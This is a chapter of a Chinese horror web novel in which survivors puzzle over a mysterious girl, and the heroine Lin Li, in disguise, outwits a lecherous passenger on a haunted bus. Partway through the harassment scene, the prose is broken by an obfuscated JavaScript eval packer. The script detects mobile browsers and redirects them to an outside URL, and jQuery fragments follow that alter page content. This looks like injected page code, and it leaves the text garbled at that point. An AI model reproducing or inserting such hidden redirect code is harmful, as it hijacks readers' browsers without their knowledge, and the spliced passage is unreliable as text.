“我不喜欢黄色,看得眼睛疼。”他撇撇嘴,眼睛盯着室内唯一运动的东西——一只发光的飘浮水母慢慢转动。 “哎,那就对了,”检测室负责人是个年纪有点大的老太太,戴着副眼镜,穿着研究员的白大褂,一边刷刷记录数据,一边说,“终于知道那不是给你看的了?” 发光水母是罕见能吸收周围污染的治疗性道具,非常稀少,偌大江城大概也就这么一只。 边北舟当然知道,只是太无聊了。乱飞的眼睛瞥见进来的两人,他腾地从床上跳起来,跑到玻璃边,活像坐了十年牢一样,“淮哥!你终于来看我了!” “跟我一起出来的那只刚觉醒的雏鸟也没事,”他好像想到了什么,表情又难过起来,“可惜还有一个女生没出来。应该是她最后帮我们引开了污染物。” 顾淮愣了下,“还有一个人?” “对啊,这次有四个求生者,”边北舟不明所以地问,眼睛在对面两人脸上来回转。 顾淮沉思,周宁则是吃惊。 “不该啊,”周宁疑惑地嘶了声,“按照之前对这个D级本的调查看,它每次都只吸收三个求生者就会开启。” 基本所有诡域都有人数限制,开启后就会封闭,想要进入除非像顾淮上次在写字楼那样暴力进入。但这种行为并不推荐,因为会造成诡域不稳定,规则出现偏差,乃至崩溃直接全灭。 写字楼那会也是因为有陈家人施压,配上顾淮这样的顶尖高手,才敢一试。 边北舟面露茫然,“可是……” “根据你之前描述,死了一个中年上班族,另一个是叫陆扬的初醒者,经过检测可以确认为人类,”周宁分析道,“那么有问题的只可能是这个女生。” “不可能,”边北舟还能想起那双对自己充满信任的眼睛,他还信誓旦旦说要带她出去,结果还是食言了,“不可能,她看上去太……” “太什么?”顾淮望着说不出话的边北舟问。 “奇怪,”他皱起眉,努力回想但脑子里还是一片空白,“我好像忘记她长什么样了。” 他不会是在被严重污染后伤到脑子失忆了吧? 顾淮明显想得更多,飞快问,“你还记得她的名字吗?写下来。” 边北舟也被他带得紧张了起来,赶紧在玻璃上哈了口气,慢慢写下两个字。 禾初 顾淮安静地盯着这个名字看了会,然后神色骤变, “淮哥,怎么了?”边北舟和周宁两双眼睛紧盯着他。 顾淮抿着嘴,抬起手指,碰触玻璃时上面结起了白霜,接着白霜像粉笔一样在玻璃上划过白痕,慢慢在“禾初”两字下面加了一个“人”,下面再加一个“水” 一个古怪的“黎”字出现在玻璃上。 玻璃内外,三人顿时只觉得一股寒意慢慢爬上了脊背。 边北舟更是睁大眼睛,好久回不过神。自己在副本里究竟跟什么东西待了数个小时。 忽然,刺耳的警铃响起,室内几人顿时面色大变。 有污染物在安全局? 顾淮和周宁惊疑地对视一眼,飞快朝楼层电梯跑去。 “发生什么了?”顾淮两人到的时候,小职员正在包扎伤口。 “顾队,周队,我没事,”他抬起点胳膊,又在治疗师责备的目光中乖乖地放下,“都是自己摔的。” 顾淮看向受袭击的三个办公室,面朝走廊的落地玻璃都碎了,桌椅凌乱翻倒,文件撒落一地。 “没有人员伤亡,大概是能潜伏在影子里的小诡异误闯进来,”安保队的负责人走过来说。 “不是误闯,”顾淮在一堆文件下翻出已经被腐蚀得面目全非的文件袋。 “哎,笔!”小职员自责地说,“我早点送到检验科就好了。” “不是你的问题,”顾淮眸色幽深,“对方就是冲着笔来的。” 半月后的正午。 烈日当空,一辆已经锈迹斑斑的老式公交碾过油腻软乎的沥青马路,在一个顶棚被晒得发白的废旧公交站缓缓停下。 上面的一车人顿时都露出惊疑的神色。 黄毛混混样的瘦小男人下意识低呼出声,“这辆车不是满座了吗?” 车内一片安静,没有人回答,黄毛这才意识到自己在还没摸清规则的情况下贸然出声太鲁莽了,万一规则是不能发出声音…… 他呼吸一窒,身体控制不住地微微颤抖,左右看看想得到一点安慰。 但没人理睬他,只有斜前方穿着黑T恤的中二青年朝他做了个幸灾乐祸的鬼脸。 黄毛气得咬牙切齿,但他不敢对付中二青年,那家伙脖子上的银挂坠一看就是个高级道具,显然来头不小。 但气肯定要撒,他自然而然地记恨上了还没上车的求生者。 哒,哒,哒。 在整车人的注目礼中,一个扎着双马尾,穿着露膝粉色洛丽塔裙装的少女走上来。 她扭头望向破旧不堪但坐得满当当的公交,嘟着嘴,表情茫然地问,“这不是去市区的车吗?” 资深者还是新人,一目了然。 少女正是被千面之月信徒火热追杀中的林黎。气量狭小的老登下线后摇了信徒,满大街找她,逼得她不得不乔装打扮,而且还只能挑日头最盛的时候。 正午月亮力量最弱,容易躲避老登的搜捕。 俗话说得好,越招摇有时候就是越隐蔽,感谢边北舟在穿着上给的灵感,林黎租到一身裙装,自己再整了个娃娃妆,浮夸得绝对看不出原样。 她不着痕迹地扫了眼车厢,从内部设施看,这辆公交应该是90年代初生产的,绿色的车顶和塑料凳,地板是生锈的红铁板。 她的右手边是车头位置,司机的驾驶座被不透明玻璃门单独隔开了,左手边整齐地排着两列位置,左右各八个,两边都是单座,一直延伸到车尾。 十六个人…… 目前为止,这是林黎碰到求生者最多的一次,不出意外也会死得最多。她隐约感觉到这个诡域等级应该要比前两个高。 作为天寿小区的当家人,林黎知道维持诡域运转是需要能量的,等级越高耗能越大,而求生者就是产生能量的耗材。 一部分乘客冷漠地转开了目光,另一部分则更加放肆地打量起来,特别是少女裹着丝袜的雪白长腿。 “车满了,姑娘,”二排面目憨厚的大叔露出不忍心的表情,“现在下去还来得及。” 话音刚落,车后排传来声嗤笑。烫着卷发化着精致妆容的女人毫不留情地揭穿道,“想用新人试规则就直说,装什么装,恶心。” 憨厚大叔被戳穿心思,眼里闪过抹恨意,但很快又掩饰了过去,“那你倒是说说,车上没位置了,这小姑娘上来跟下去又有什么区别,下去了万一还能离开呢?” 有点经验的求生者都明白了他的意思。新人运气太差,碰上了诡域bug,现在上来下去都是死,不如废物利用,死前给他们试试规则。 这么一想,大半人的脸上都露出了赞同憨厚大叔的意思,后者朝卷发女露出同样憨厚的微笑,眼底则满是暗暗的挑衅。 卷发女冷笑一声不再说话,她看不惯憨厚大叔的虚伪,但为了新人得罪大多数求生者不值得,只能眼不见为净地扭头看向窗外。 “这里不是还有个位置吗?”娇俏的嘟嘟音疑惑地问。 涂着淡粉色指甲油的手指着驾驶座并排的位置。 以前售票全靠人工,所以这个位置是谁的显而易见。 虽然它看上去是空的,但没有人真的认为它是空的。退一万步说,即使是空的,乘客坐售票员的位置也明显不符合公交乘坐规则。 车内安静了下来,众人或嘲讽轻蔑或事不关己地瞥着她。 只有中二青年唯恐天下不乱地怂恿道,“youcantry~” 林黎也没见过这么贱的家伙,短暂沉默一秒,然后径直走过去,粉色小高跟狠狠地冲他的腿一踹。 中二青年当即捂住腿嗷一声叫出来,没想到这女的看起来娇小,腿劲比汉子还大。 “你!”中二青年一边龇牙咧嘴,一边瞪着她。 黄毛立即讨好地站起来冲她大声吼道,“贱丫头,哥给你脸还不要脸了,是吧?” 林黎被步步紧逼的黄毛吓得倒退数步,但嘴上不肯讨饶,气鼓鼓地嘟囔,“不是他先问我敢不敢踹吗?” 众人这才明白过来,因为中二青年带着点口音,所以刚才耍帅的英文听起来很像“you敢踹?” 不知道是谁忍不住发出了扑哧一声,中二青年的脸色更加铁青了,朝声音方向怒道,“放屁呢?想笑有本事就大声点!” 黄毛像是找到了组织的狗一样附和道,“对啊,谁敢嘲笑哥?” 他望着不敢说话的众人顿时感觉到了狐假虎威的爽快,之前的郁气一消而散。喊完还不过瘾,他接着转身逼近少女,恶声恶气地说,“你不是要坐吗,快去坐啊!” 少女一看就是娇生惯养的小公主,此时被吼了,委屈地嘟起嘴,瑟缩着肩膀回到售票员的位置旁,低头沉默地看了会。 众人以为她是害怕了不敢坐,黄毛也一样。他本来就有迁怒少女的意思,现在心里的火气更是一发不可收拾。他走到她身后想压着对方肩膀逼她坐下,但闻到少女身上淡淡的香味后一股邪火从下窜上来。 他立即改变了主意。 这种漂亮又娇滴滴的女人换了别处估计都不会看他一眼,但现在却只能任凭处置。 黄毛此时背对众人,露出猥琐的笑,满是汗渍的胸口几乎都要贴到女孩背上,带着口臭的嘴小声说,“怕了?你黄哥膝盖上还有空位,乖点就让你坐怎么样?” 他根本没想过对方会拒绝,脏兮兮的手迫不及待地朝对方的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997429|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿内侧摸去。 谁知少女这时候突然前倾半蹲了下,刚好避开了。 黄毛摸了个空心头邪火更旺,正要发怒,只见后者正心无旁骛地将一张纸巾撕成两片,整整齐齐地铺到满是污渍的椅子上,然后才小心翼翼地掖着裙摆坐下去。 黄毛:…… 感情她刚才犹豫是因为怕脏。 “我没听清,你刚才说什么呀,黄哥?”少女抬起头,一脸疑惑地望着还站在旁边的黄毛。 现在人家都坐下了还说个屁。 黄毛狠狠地剜了眼飞走的肥肉,扭头就要走,然后蓦地停住了脚。 她如果没听见,怎么知道自己叫黄哥?这臭丫头分明是全听见了装傻玩他呢! 黄毛愤怒地转身,抬起手就要给她来一耳刮子。这种贱货要是被卖到他们乡里就是要吃耳刮的,不听话就多吃几个,总会听话! 但他转头看到对方脸上的表情时却愣了下。 涂着粉色唇彩的嘴微微勾起,一双黑眸似笑非笑,带着看好戏的恶意。此时对方身上哪里还有什么娇蛮无知的小公主样,分明是一匹危险又狡猾的恶狼。 “你,你……”黄毛举着手落也不是,不落也不是。他看到对方嘴唇动了动,下意识去分辨唇语的意思。 你该下车了。 他该下车了?为什么? 黄毛顿时脊背一凉,后知后觉地想起来这是哪里。带过他的老人经常语重心长地嘱咐,看起来再安全再普通的诡域都不能掉以轻心。 因为你永远不知道自己什么时候会触犯规则,触犯什么规则。 “先生,”阴森沙哑的声音从驾驶座传来,“请下车。” “我,我还没到站!”黄毛急忙解释。想也知道,离开诡域肯定没那么简单,现在下车了就是死。 “先生,请下车,”声音机械地重复,同时驾驶室的黑门缓缓打开。 黄毛大叫一声,惊恐后退。 只见驾驶室里正端坐着一具干尸,干瘪焦黑的皮紧贴在骷髅骨上,头颅上有个前后贯穿的大洞,露着牙床的牙齿缝里嵌着褐红色的肉丝,下面的骨架上套着破破烂烂的焦黑衣服,下面黑漆的肋骨隐约可见。 “我还没到站!”黄毛颤抖地后退,声音却不由得低了下去。 “你到站了。”骷髅司机伴随着骨架的咔哒声,慢慢站起来。 黄毛惊恐地瞪着眼睛,看到一脸不明所以地望着自己的林黎,抬起手指着她,语无伦次地说,“是你干的!你做了什么!为什么司机会听你的话!你是不是怪物!” “你在说什么?”林黎生气地鼓起面颊,“说不定是你惹烦它了,才赶你下去的!” “你们听我说,”黄毛面朝其他乘客,慌乱地说,“她根本不是表现出来的这样子,她都是装的!” “难道你想摸大腿摸屁股,我还不能躲吗?”林黎立即泫然欲泣地指责。 众人一听恍然大悟,这家伙刚才贴人家这么紧不知道在干什么,原来是这种事。在诡域还能精虫上脑的蠢货,死了活该。 “不是!”黄毛解释不清,又像抓救命稻草一样看向中二青年,“哥,求求你,救救我,哥!” “谁是你哥?别乱叫。”中二青年像赶苍蝇一样挥开对方的手。 见黄毛还要继续赖着,后座戴墨镜的男人懒洋洋地催促,“麻烦死快点好吗?你触犯了规则,现在跪下叫每个人一声爷爷都没用。” “还有奶奶,”墨镜男前面的卷发女补充道。 “我没有触犯规则!”黄毛急得满头大汗,“冤枉啊,我什么都没干!” “你站起来了,公交车上坐着的人什么时候会站起来?是要下车的人,”卷发女瞥向墨镜男反问,“我说的对吗?” 墨镜男看了她一眼,补充道,“还踩了车门前的黄色区域。那里一般是供上下车的乘客站的。” 黄毛愣愣地望向车门,那里果然有一小块贴了黄色胶带。但胶带很不起眼,也没有文字标注,如果不注意,还会以为是沾在地上的垃圾。 “可是……可是她也走过去了,她也踩了!”黄毛指着林黎问,“为什么只让我一个人下车?” “她没踩到。”墨镜男确凿地说,显然刚才所有人的言行他都有仔细留意。 “不可能,我们明明走的地方都差不多!” “她脚几码,你脚几码?”墨镜男想到新人的高跟几乎就贴着胶带走过去,忍不住感叹,“运气不错。” 黄毛顿时面如死灰,他被骷髅司机拖着推下去的那刻想起少女露出的古怪微笑和唇语,突然明白过来,根本不是幸运,对方一开始就知道那块区域不能踩,却故意什么都不说,引诱着他掉进了陷阱。 司机赶完人又咔嚓咔嚓地回到驾驶室关上门,车内陷入一片安静,仿佛什么都没发生过。 但车上的人都紧盯着下车的黄毛,每一个求生者的死亡都能或多或少地带来点线索。 可是奇怪的是,他只是失魂落魄地走到车站坐下,低垂着头,什么都没发生。 难道通关真的这么简单?只要到站下车就行? “车没有关门。”卷发女突然说。 其他人顿时反应过来,对啊,上车的已经上了,下车的也下了,为什么车还不关门?